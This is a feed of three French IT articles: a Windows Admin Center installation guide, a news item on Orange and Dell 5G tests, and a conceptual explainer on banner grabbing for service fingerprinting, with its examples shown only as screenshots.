# articles

feed_id: https://www.it-connect.fr/?p=34009
title: Comment installer Windows Admin Center ?
uri: Comment-installer-Windows-Admin-Center
url: https://www.it-connect.fr/comment-installer-windows-admin-center/
content:
<h2>I. Présentation</h2>
<p><strong>Dans le précédent article, je vous présentais <a href="https://www.it-connect.fr/quest-ce-que-windows-admin-center/" target="_blank" rel="noopener noreferrer">Windows Admin Center</a>, désormais nous allons voir comment réaliser l'installation de ce nouvel outil de management de serveurs.</strong></p>
<p>Microsoft publie une nouvelle version de son outil de temps en temps, pour améliorer à la fois l'expérience utilisateur mais également implémenter de nouvelles fonctionnalités. A l'heure où j'écris ces lignes, la dernière version est la 1910 sortie en avril 2019. Vous pouvez retrouver les nouveautés intégrées à cette version sur la page suivante : <a href="https://techcommunity.microsoft.com/t5/windows-admin-center-blog/what-s-new-in-windows-admin-center-1910/ba-p/977028" target="_blank" rel="noopener noreferrer">WAC 1910</a>.</p>
<p>De manière générale, retrouvez l'historique des versions de Windows Admin Center sur la page suivante : <a href="https://docs.microsoft.com/fr-fr/windows-server/manage/windows-admin-center/support/release-history" target="_blank" rel="noopener noreferrer">WAC Changelog</a></p>
<h2>II. Installer WAC</h2>
<p>Pour commencer, il faut récupérer le package MSI nécessaire à l'installation de Windows Admin Center. Il est disponible gratuitement sur le centre d'évaluation Microsoft, je vous invite à le télécharger : <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-admin-center" target="_blank" rel="noopener noreferrer">Télécharger WAC</a></p>
<blockquote><p><strong>Note</strong> : l'utilisation de Windows Admin Center ne nécessite pas l'acquisition d'une licence. Cet outil est gratuit.</p></blockquote>
<p>Lorsque le téléchargement sera terminé, démarrez l'installation sur votre serveur d'administration. Pour ma part, il se nomme "<em>SRV-MGMT-01</em>" sur le domaine "<em>it-connect.local</em>". <strong>Il est à noter que vous ne pouvez pas installer l'outil sur un contrôleur de domaine.</strong></p>
<p>Pour la première étape, acceptez le contrat de licence. Ensuite, vous pouvez décider d'activer les mises à jour via Microsoft Update notamment pour WAC.</p>
<p><img class="aligncenter size-full wp-image-34010" src="media/97adf3f2.windows-admin-center-install-how-to-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-01.jpg" alt="" width="800" height="306" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-01-550x210.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-01-150x57.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-01-768x294.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-01-160x61.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-01-50x19.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Pour faciliter la connexion aux machines distantes, acceptez le fait que WAC puisse modifier les paramètres d'hôtes de confiance (Trusted Hosts) dans la configuration de WinRM : "<em>Allow Windows Admin Center to modify this machine's trusted hosts settings</em>".</p>
<p>A l'étape suivante, <strong>je vous recommande de modifier le port pour ne pas utiliser celui par défaut, à savoir 443.</strong> Utilisez un port supérieur à 10 000 de préférence. Toujours sur la même étape, cochez l'option "<em>Redirect HTTP port 80 traffic to HTTPS</em>" pour que tous les accès à l'interface web s'effectue en HTTPS.</p>
<p>Lancez l'installation...</p>
<p><img class="aligncenter size-full wp-image-34011" src="media/003e6cf3.windows-admin-center-install-how-to-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-02.jpg" alt="" width="800" height="308" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-02-550x212.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-02-150x58.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-02-768x296.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-02-160x62.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-02-50x19.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Cela n'est pas très long en principe, vous devriez arriver sur l'écran "Ready to connect from a PC" à la fin.</p>
<p>L'assistant affiche l'URL d'accès à WAC : "<em>https://srv-mgmt-01.it-connect.local:14443</em>" dans mon cas. Vous pouvez cliquer sur le lien directement.</p>
<p><img class="aligncenter size-full wp-image-34012" src="media/b9562e35.windows-admin-center-install-how-to-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-03.jpg" alt="" width="800" height="305" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-03.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-03-550x210.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-03-150x57.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-03-768x293.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-03-160x61.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-03-50x19.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Le navigateur va s'ouvrir et vous devrez vous authentifier. Avec un compte Administrateur du domaine ce sera parfait pour avoir les droits nécessaires à l'ajout de serveurs, etc.</p>
<p><img class="aligncenter size-full wp-image-34013" src="media/29d805ed.windows-admin-center-install-how-to-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-04.jpg" alt="" width="700" height="291" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-04.jpg 700w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-04-550x229.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-04-150x62.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-04-160x67.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-04-50x21.jpg 50w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<p>Nous voilà sur l'interface de Windows Admin Center, l'installation est terminée. Pour la suite, il va falloir ajouter vos serveurs en tant que nouvelle connexions pour centraliser la gestion de votre infrastructure.</p>
<p>J'en profite pour vous parler de la <strong>compatibilité entre les navigateurs et Windows Admin Center</strong>. Microsoft propose une section dans son aide dédiée à ce sujet, puisque WAC est testé avec Edge et Chrome mais pas avec Firefox (la majorité des fonctions sont opérationnelles quand même). En fonction du navigateur et de sa version, certaines difficultés peuvent être rencontrées : <a href="https://docs.microsoft.com/fr-fr/windows-server/manage/windows-admin-center/support/known-issues#browser-specific-issues" target="_blank" rel="noopener noreferrer">WAC - Navigateurs</a>.</p>
<p>De manière générale la page citée ci-dessus est très intéressante car elle recense les problèmes connus de Windows Admin Center.</p>
<p><img class="aligncenter size-full wp-image-34014" src="media/dc0a0e88.windows-admin-center-install-how-to-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-05.jpg" alt="" width="800" height="526" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-05.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-05-550x362.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-05-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-05-768x505.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-05-160x105.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-install-how-to-05-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>III. Ajouter un serveur à WAC</h2>
<p>Maintenant, nous allons voir comment <strong>ajouter un serveur à Windows Admin Center</strong>. Sur la page d'accueil, cliquez sur le bouton <strong>"Ajouter".</strong></p>
<p><img class="aligncenter size-full wp-image-34015" src="media/a366ac4a.windows-admin-center-add-server-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-01.jpg" alt="" width="500" height="293" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-01.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-01-150x88.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-01-160x94.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-01-50x29.jpg 50w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p>Un panneau latéral va s'afficher sur la droite. D'ailleurs, il arbore un nouveau design depuis la version 1910. Au niveau de <strong>Windows Server</strong>, cliquez sur "<strong>Ajouter</strong>".</p>
<p><img class="aligncenter size-full wp-image-34016" src="media/7f059b11.windows-admin-center-add-server-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-02.jpg" alt="" width="600" height="402" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-02.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-02-550x369.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-02-150x101.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-02-160x107.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-02-50x34.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Si votre serveur est dans le domaine, cliquez sur "<em>Rechercher dans Active Directory</em>", puis saisissez son nom et cliquez sur "<em>Rechercher</em>". Il doit apparaître dans les résultats, sélectionnez-le. Pour ma part il s'agit de mon contrôleur de domaine <em>SRV-ADDS-01</em>.</p>
<p><img class="aligncenter size-full wp-image-34017" src="media/fb05331e.windows-admin-center-add-server-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-03.jpg" alt="" width="600" height="384" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-03.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-03-550x352.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-03-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-03-160x102.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-03-50x32.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>L'hôte sera ajouté à la console. Maintenant cliquez sur le nom de l'hôte.</p>
<p><img class="aligncenter size-full wp-image-34018" src="media/c70d6ebc.windows-admin-center-add-server-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-04.jpg" alt="" width="600" height="233" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-04.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-04-550x214.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-04-150x58.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-04-160x62.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-04-50x19.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Une connexion va être établie et il va falloir s'authentifier. Pour utiliser le compte Windows en cours d'utilisation, il faut créer une délégation Kerberos contrainte, sinon, spécifiez directement un compte utilisateur. C'est ce que nous allons faire.</p>
<p>Indiquez l'UPN de votre utilisateur et son mot de passe. Pour que ce compte devienne le compte par défaut lorsque vous établissez une connexion sur un serveur, cochez l'option "<em>Utilisez ces informations d'identification pour toutes les connexions</em>". Cliquez sur "<em>Continuer</em>".</p>
<p><img class="aligncenter size-full wp-image-34019" src="media/09e98d64.windows-admin-center-add-server-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-05.jpg" alt="" width="600" height="752" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-05.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-05-550x689.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-05-120x150.jpg 120w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-05-128x160.jpg 128w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-05-40x50.jpg 40w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Si l'authentification réussie, vous devriez voir l'état de votre serveur et vous pourrez alors <strong>commencer à le manager via Windows Admin Center. </strong>Sur la gauche, vous retrouvez l'accès aux différents outils, alors qu'au centre s'affiche la fenêtre correspondante à l'outil sélectionné.</p>
<p><img class="aligncenter size-full wp-image-34020" src="media/2330b56e.windows-admin-center-add-server-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-06.jpg" alt="" width="800" height="526" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-06.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-06-550x362.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-06-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-06-768x505.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-06-160x105.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-06-50x33.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>L'outil "<em>Bureau à distance</em>" vous permettra d'ouvrir une session RDP sur votre serveur managé. Pour la partie authentification, vous devrez <strong>indiquer un nom d'utilisateur avec le nom Netbios du domaine : DOMAINE\Utilisateur</strong>, par exemple : IT-CONNECT\Administrateur. Sinon, je ne sais pas pourquoi mais l'authentification échoue avec l'UPN.</p>
<p><img class="aligncenter size-full wp-image-34025" src="media/0278159a.windows-admin-center-add-server-07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-07.jpg" alt="" width="800" height="476" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-07.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-07-550x327.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-07-150x89.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-07-768x457.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-07-160x95.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/windows-admin-center-add-server-07-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Vous pouvez ajouter vos autres serveurs, ainsi que des postes de travail si vous le souhaitez (cela nécessite de configurer WinRM) et explorer les différents outils à votre disposition. Ce qui intéressant pour les serveurs c'est d'ajouter les extensions, par exemple Dell OpenManage si vous avez un serveur Dell pour obtenir des informations supplémentaires.</p>


feed_id: https://www.it-connect.fr/?p=34468
title: Orange réalise des tests 5G en partenariat avec Dell
uri: Orange-réalise-des-tests-5G-en-partenariat-avec-Dell
url: https://www.it-connect.fr/orange-realise-des-tests-5g-en-partenariat-avec-dell/
content:
<p><strong>Orange s'est associé à Dell pour réaliser des tests de débit sur la 5G, avec à la clé des résultats incroyables : la vitesse atteinte est 20 fois supérieure aux débits traditionnels du réseau 4G.</strong></p>
<p>Pour réaliser les tests, Orange a utilisé un <strong>PC Dell Latitude 9510 qui est disponible depuis ce début d'année 2020</strong> et qui est le premier PC "5G Ready" de chez Dell.<strong> Lors de ce test de connexion sur le réseau 5G, les vitesses de téléchargements ont dépassées les 900 Mb/s.</strong></p>
<p>Liam Quinn, vice-président de Dell Technologies, précise : « <em>La 5G ouvre une nouvelle frontière pour les entreprises et les consommateurs avec le PC toujours connecté</em> ».</p>
<p>Dell se félicite de ces résultats et met en avant le fait que le réseau 5G permettra de réaliser des tâches beaucoup plus rapidement qu'avec la 4G, notamment pour télécharger de gros fichiers. Le réseau 5G ouvre de nouvelles possibilités et cela pourrait favoriser de nouvelles utilisations autour du<strong> traitement des images ou encore de la traduction en temps réel.</strong></p>
<p>De manière générale, <strong>ce partenariat entre Orange et Dell existe depuis l'année dernière avec un accord signé en mail 2019.</strong> L'objectif étant de travailler conjointement sur des plateformes pour les services IoT ainsi que l'informatique en temps réel.</p>


feed_id: https://www.it-connect.fr/?p=34224
title: Qu’est ce que le Banner Grabbing ?
uri: Qu-est-ce-que-le-Banner-Grabbing
url: https://www.it-connect.fr/quest-ce-que-le-banner-grabbing/
content:
<h2>I. Présentation</h2>
<p>Au sein d'un SI, chaque information a son importance, il est toujours crucial de savoir ce qui est vu par l'utilisateur lambda, par l'attaquant ou par les équipes techniques. Nous allons aujourd’hui étudier ce qu'est le <em>banner grabbing</em> et en quoi il est important pour la bonne gestion de la sécurité du SI.</p>
<p>Nous avons récemment vu différentes <a title="Technique de scan TCP" href="https://www.it-connect.fr/les-scans-de-port-via-tcp-syn-connect-et-fin" target="_blank" rel="noopener noreferrer">techniques de scan TCP</a> et de<a title="Technique de scan UDP" href="https://www.it-connect.fr/technique-de-scan-de-port-udp" target="_blank" rel="noopener noreferrer"> scan UDP</a>, il faut savoir qu'après avoir pris connaissance que tel ou tel port est ouvert sur une machine, un attaquant va vouloir savoir ce qui tourne sur ce port (quel type de service ? Quelle est la version de ce service ?). C'est ici que la méthode du <strong>banner grabbing</strong> intervient.</p>
<h2>II. Le banner grabbing : kézako ?</h2>
<p>Le <strong>banner grabbing,</strong> ou le fait de "<strong>récupérer la bannière</strong>" dans la langue de Molière, est tout simplement le fait de récupérer, après une première connexion à un port et un service visé, <strong>le nom du service qui tourne sur ce port ainsi qu'éventuellement sa version</strong>. En effet, par souci de clarté et parfois de simplification des échanges, la plupart des services annoncent sur le réseau aux clients après leur demande de connexion des informations sur ce qu'ils sont. Lorsqu'un attaquant fait du banner grabbing, il est toujours dans la phase <strong>"fingerprinting"</strong>, c'est-à-dire qu'il va chercher à établir une cartographie du réseau et des systèmes et ainsi dresser une liste de ce qui est présent. Le banner grabbing est tout simplement le fait d'ouvrir une session TCP sur un port donné et d'échanger basiquement avec le service qui s'y trouve pour analyser ses réponses et déterminer plus ou moins facilement son type et sa version.</p>
<p>"<em>Bonjour, je suis un serveur Apache tournant sur Debian et ma version est 2.2.22",</em> c'est exactement le type d'information que nous pouvons retrouver lorsque nous faisons du banner grabbing, c'est tout simplement la <strong>"signature" du service</strong>. Ces messages d'erreurs vous disent certainement quelque chose :</p>
<div class="mceTemp"></div>
<figure id="attachment_34232" aria-describedby="caption-attachment-34232" style="width: 565px" class="wp-caption aligncenter"><a href="media/e54a3b3a.banner-grabbing-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-01.png"><img class="size-full wp-image-34232" src="media/e54a3b3a.banner-grabbing-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-01.png" alt="" width="565" height="157" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-01.png 565w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-01-550x153.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-01-150x42.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-01-160x44.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-01-50x14.png 50w" sizes="(max-width: 565px) 100vw, 565px" /></a><figcaption id="caption-attachment-34232" class="wp-caption-text"><br />Affichage de la bannière Apache.</figcaption></figure>
<p>Nous voyons ici un serveur web Apache qui, lors de l'affichage d'un code HTTP 404, va tout simplement fournir sa bannière quand il est configuré par défaut. Nous voyons ici la même chose pour un serveur nginx :</p>
<p><a href="media/bc50599f.banner-grabbing-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04.png"><img class="aligncenter size-large wp-image-34231" src="media/1e88fa5a.banner-grabbing-04-800x171.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04-800x171.png" alt="" width="800" height="171" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04-800x171.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04-550x118.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04-150x32.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04-768x164.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04-160x34.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04-50x11.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-04.png 1024w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Nous allons voir que le banner grabbing peut être aussi bien utilisé par les sysadmins dans la gestion quotidienne du système d'information que par des attaquants ou des personnes un peu trop curieuses. Il faut tout d'abord savoir qu'il existe <strong>deux "méthodes" de banner grabbing.</strong></p>
<h3>A. banner grabbing passif</h3>
<p>Cette méthode de banner grabbing est rarement utilisée, mais a l'<strong>avantage d'être la plus discrète</strong>. On ne va pas aller chercher l'information, mais plutôt attendre qu'elle passe par nos ports. On va par exemple <strong>effectuer du sniff réseau et ensuite étudier les paquets qui transitent</strong> pour retrouver une bannière sur un port et une IP donnée.</p>
<h3>B. banner grabbing actif</h3>
<p>C'est la méthode la plus utilisée, on va<strong> volontairement aller discuter et échanger avec un port que l'on sait actif</strong> afin d'étudier ses réponses et ainsi retrouver une signature (nom du service, version, etc.). Pour une personne malveillante, cette méthode peut avoir comme inconvénient qu'elle force à établir une connexion avec la machine et ainsi à exposer des informations à son sujet (IP du poste effectuant le banner grabbing par exemple).</p>
<p>Si nous allons un peu plus loin dans l'exploration, voici la bannière d'un service FTP que nous voyons dans une <strong>analyse réseau avec Wireshark</strong> :</p>
<p><a href="media/a7b9ccd0.banner-grabbing-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03.png"><img class="aligncenter size-large wp-image-34230" src="media/34a74f57.banner-grabbing-03-800x205.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03-800x205.png" alt="" width="800" height="205" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03-800x205.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03-550x141.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03-150x38.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03-768x197.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03-160x41.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03-50x13.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-03.png 1193w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>La plupart du temps, le <strong>banner grabbing se fait par le client dans la relation client - serveur</strong>. C'est une information qui peut être intéressante pour, par exemple, savoir comment communiquer. On retrouve communément cet échange de version dans la détermination du chiffrement SSL ou TLS à utiliser lors de l'initialisation d'une session en HTTPS, mais cela s'éloigne quelque peu du sujet.</p>
<p>Voici par exemple un banner grabbing effectué avec Telnet sur un service Apache sur le port 80 :</p>
<figure id="attachment_34229" aria-describedby="caption-attachment-34229" style="width: 654px" class="wp-caption aligncenter"><a href="media/8767f63b.banner-grabbing-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-02.png"><img class="wp-image-34229 size-full" src="media/8767f63b.banner-grabbing-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-02.png" alt="" width="654" height="283" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-02.png 654w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-02-550x238.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-02-150x65.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-02-160x69.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-02-50x22.png 50w" sizes="(max-width: 654px) 100vw, 654px" /></a><figcaption id="caption-attachment-34229" class="wp-caption-text">Banner grabbing sur un service Apache</figcaption></figure>
<p>On voit ici clairement la bannière Apache "<em>Server : Apache/2.2.22 (Debian)</em>". La même chose sur un service SSH tournant sur le port 2121 :</p>
<figure id="attachment_34228" aria-describedby="caption-attachment-34228" style="width: 663px" class="wp-caption aligncenter"><a href="media/99a280b9.banner-grabbing-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-05.png"><img class="size-full wp-image-34228" src="media/99a280b9.banner-grabbing-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-05.png" alt="" width="663" height="118" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-05.png 663w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-05-550x98.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-05-150x27.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-05-160x28.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-05-50x9.png 50w" sizes="(max-width: 663px) 100vw, 663px" /></a><figcaption id="caption-attachment-34228" class="wp-caption-text">Banner grabbing sur un service SSH</figcaption></figure>
<p>Ici, nous n'avons même pas besoin d'envoyer une première information de connexion hormis l'initialisation de la connexion TCP, le service SSH présent sur le port nous annonce directement la couleur en nous envoyant sa version de <strong>protocole SSH supporté (2), de service (6.0) et d'OS (Debian 7)</strong></p>
<p>L'outil Metasploit, très connu dans le monde de la sécurité, contient également plusieurs modules permettant de faire du banner grabbing. On prendra comme exemple l'outil permettant de récupérer la version SSH d'un serveur, voici comment il s'utilise  :</p>
<figure id="attachment_34227" aria-describedby="caption-attachment-34227" style="width: 730px" class="wp-caption aligncenter"><a href="media/375b4e48.banner-grabbing-ssh-metasploit.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-ssh-metasploit.png"><img class="size-full wp-image-34227" src="media/375b4e48.banner-grabbing-ssh-metasploit.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-ssh-metasploit.png" alt="" width="730" height="150" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-ssh-metasploit.png 730w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-ssh-metasploit-550x113.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-ssh-metasploit-150x31.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-ssh-metasploit-160x33.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/banner-grabbing-ssh-metasploit-50x10.png 50w" sizes="(max-width: 730px) 100vw, 730px" /></a><figcaption id="caption-attachment-34227" class="wp-caption-text"><br />Utilisation d'un scanner Metasploit pour le banner grabbing SSH</figcaption></figure>
<h2>III. L'intérêt du banner grabbing pour les Sysadmins</h2>
<p>Le banner grabbing peut très bien être utilisé par les administrateurs systèmes au sein d'un SI. On peut en effet vouloir savoir si nos services SSH sont à jour, on va alors effectuer un banner grabbing sur tous nos services SSH et ainsi avoir rapidement une liste des versions présentes sur nos serveurs. C'est donc un outil qui va aider l'administrateur système et réseau au sein d'un SI, car il permet d'obtenir l'information sans avoir à se connecter sur chaque machine.</p>
